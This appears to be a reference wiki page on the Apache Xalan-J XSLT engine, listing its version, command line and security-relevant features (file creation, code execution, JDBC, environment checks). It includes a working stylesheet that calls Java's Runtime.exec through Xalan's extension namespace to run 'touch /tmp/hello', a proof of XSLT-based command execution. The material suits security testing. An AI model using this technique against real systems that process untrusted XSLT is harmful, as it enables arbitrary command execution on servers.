Engine_XalanJ

Xalan-J is a Java based XSLT engine by the Apache Project.

Supported version

1.0

Command line

$> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl

Note : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH

Identification strings

Special features

• File creation
• Code execution
• JDBC connectivity
• Java properties
• CheckEnv()

CheckEnv()

The checkEnvironment() extension function (documented here), associated to the Xalan namespace, will display some information about the execution context (packages, paths, versions, ...). The output of the execution of xalanj-checkenv.xsl is attached.

Java code execution

The following code will display the current date :

TODO

Execution of external commands

The following code will execute the command "touch /tmp/hello" :

<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:j="http://xml.apache.org/xalan/java"
                exclude-result-prefixes="j"
                version="1.0">
    <xsl:template match="/">
        <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
        <xsl:variable name="a" select="j:split($c, ' = ')"/>
        <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
        <xsl:variable name="p" select="j:exec($r, $a )"/>
        No content at the moment ...
    </xsl:template>
</xsl:stylesheet>